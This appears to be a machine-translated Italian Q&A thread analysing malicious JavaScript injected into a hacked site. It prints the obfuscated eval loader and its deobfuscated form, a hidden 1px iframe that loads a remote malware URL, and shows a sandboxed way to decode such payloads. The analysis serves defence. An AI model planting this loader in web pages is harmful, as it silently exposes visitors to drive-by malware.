Cosa fa questo codice iniettato?

Il primo (in grassetto) codice è in realtà questo: Decodificato con deobfuscatejavascript.com

(function() {
    var pzt = document.createElement('iframe');

    pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
    pzt.style.position = 'absolute';
    pzt.style.border = '0';
    pzt.style.height = '1px';
    pzt.style.width = '1px';
    pzt.style.left = '1px';
    pzt.style.top = '1px';

    if (!document.getElementById('pzt')) {
        document.write('<div id=\'pzt\'></div>');
        document.getElementById('pzt').appendChild(pzt);
    } })();

Sì. Questa roba sembra maliziosa. Sembra che includa i file da un altro server (probabilmente anche hackerato) per fare qualcosa di diverso. Il motivo per cui il codice appare come questo è dovuto al fatto che qualcuno ha tentato di offuscare il codice usando alcuni strumenti. Fortunatamente è reversibile.

Il codice qui sopra sta fondamentalmente creando un iframe "invisibile" nella pagina e caricando l'URL da betterbailbonds.net.

Kaspersky Internet Security Lo segnala come sito di pubblicazione di malware.

Il secondo blocco di codice è codificato in base64 e gzinflated decodificato con: Questo strumento

echo "

p=parseInt;ss=(123)?String.fromCharCode:0;asgq=\"28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!6@!78!62!6@!67!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!62!65!74!74!65!72!62!61!6@!6c!62!6f!6e!64!73!2e!6e!65!74!2f!56!4c!4e!53!65!63!30!31!2f!63!6e!74!2e!70!68!70!27!3b!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6@!78!62!6@!67!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!6@!78!62!6@!67!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!6@!78!62!6@!67!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!6@!78!62!6@!67!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!6@!78!62!6@!67!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b\".replace(/@/g,\"9\").split(\"!\");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=126;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=eval;}s=\"\";if(zz)for(i=0;i-509!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}if(window.document)e(s);}}";

Il codice precedente quindi deobfuscates (dovette farlo manualmente questa volta perché quello online ha lanciato errori ??) di nuovo in qualcosa di simile ma con nomi di variabili differenti:

( function () { var ixbig = document.createElement('iframe');

ixbig.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
ixbig.style.position = 'absolute';
ixbig.style.border = '0';
ixbig.style.height = '1px';
ixbig.style.width = '1px';
ixbig.style.left = '1px';
ixbig.style.top = '1px';

if (!document.getElementById('ixbig')) {
    document.write('<div id=\'ixbig\'></div>');
    document.getElementById('ixbig').appendChild(ixbig);
} })();

Un rapido ricerca google mostra che sembra che tu abbia fatto parte di un attacco più ampio con molte persone con codice simile incorporato nelle loro pagine. Anche questo sembra essere un duplicato di questo post di stackexchage

Modifica

Ho appena notato che l'accesso a questa pagina lo contrassegna come malware tramite la sicurezza Internet di kaspersky. Ovviamente è a conoscenza dello script e lo definisce come HEUR: Trojan.Script.Generic

Fatto localmente

Ciò potrebbe essere fatto facilmente con le cose standard:

Uno dei vantaggi è che potrebbe essere eseguito offline , come commentato da @ D3C4FF.

.0 Preambolo

avviso: l'esecuzione di codice errato potrebbe essere dannosa, quindi è strongmente consigliato l'utilizzo di un account utente speciale senza diritto sul tuo host e roba personale!

C'è una sorta di trucco temporaneo, io uso:

#!/bin/bash
adduser --disabled-password se-33671 </dev/null
su - se-33671 -c 'bash -i'
ps --user se-33671 feww && \
    echo WARNING: Something remain || \
    deluser --remove-home se-33671 </dev/null

.1 Primo passo

Semplicemente cambiando eval per print e racchiudendo i tag php:

echo '<?php print(gzinflate(base64_decode("5VbBcpsw...jRbw==")));?>' |
    php > suspect.html

Quindi ora potremmo vedere javascipt in suspect.html

Questo passaggio è eseguito normalmente dal server, inviando il risultato html al client.

.2 Secondo passaggio

Per questo, utilizzo l'interprete javascript della riga di comando spidermonkey .

Non c'è nessun oggetto window , quindi il codice deve essere modificato:

Sostituendo tutto eval di print per la stampa anziché l'esecuzione,

tutto window.document di 1 per soddisfare le condizioni,

e pulizia tag e escape:

sed -ne 's/<[^>]*>//g;
    s/^echo." *//;
    s/\"/"/g;
    s/eval/print/;
    s/)e(/)print(/;
    s/window.document/1/g;
    /parse/p' suspect.html |
  smjs

Questo scaricherà l'inclusione di polling nella console:

(function () {
    var ixbig = document.createElement('iframe');

    ixbig.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
    ixbig.style.position = 'absolute';
    ixbig.style.border = '0';
    ixbig.style.height = '1px';
    ixbig.style.width = '1px';
    ixbig.style.left = '1px';
    ixbig.style.top = '1px';

    if (!document.getElementById('ixbig')) {
        document.write('<div id=\'ixbig\'></div>');
        document.getElementById('ixbig').appendChild(ixbig);
    }
})();

Questo funziona bene per il campione corrente, ma deve essere adattato per ciascun caso.

Generalmente, il modo più semplice per eliminare l'offuscamento è partialy eseguire la roba, ma attenzione!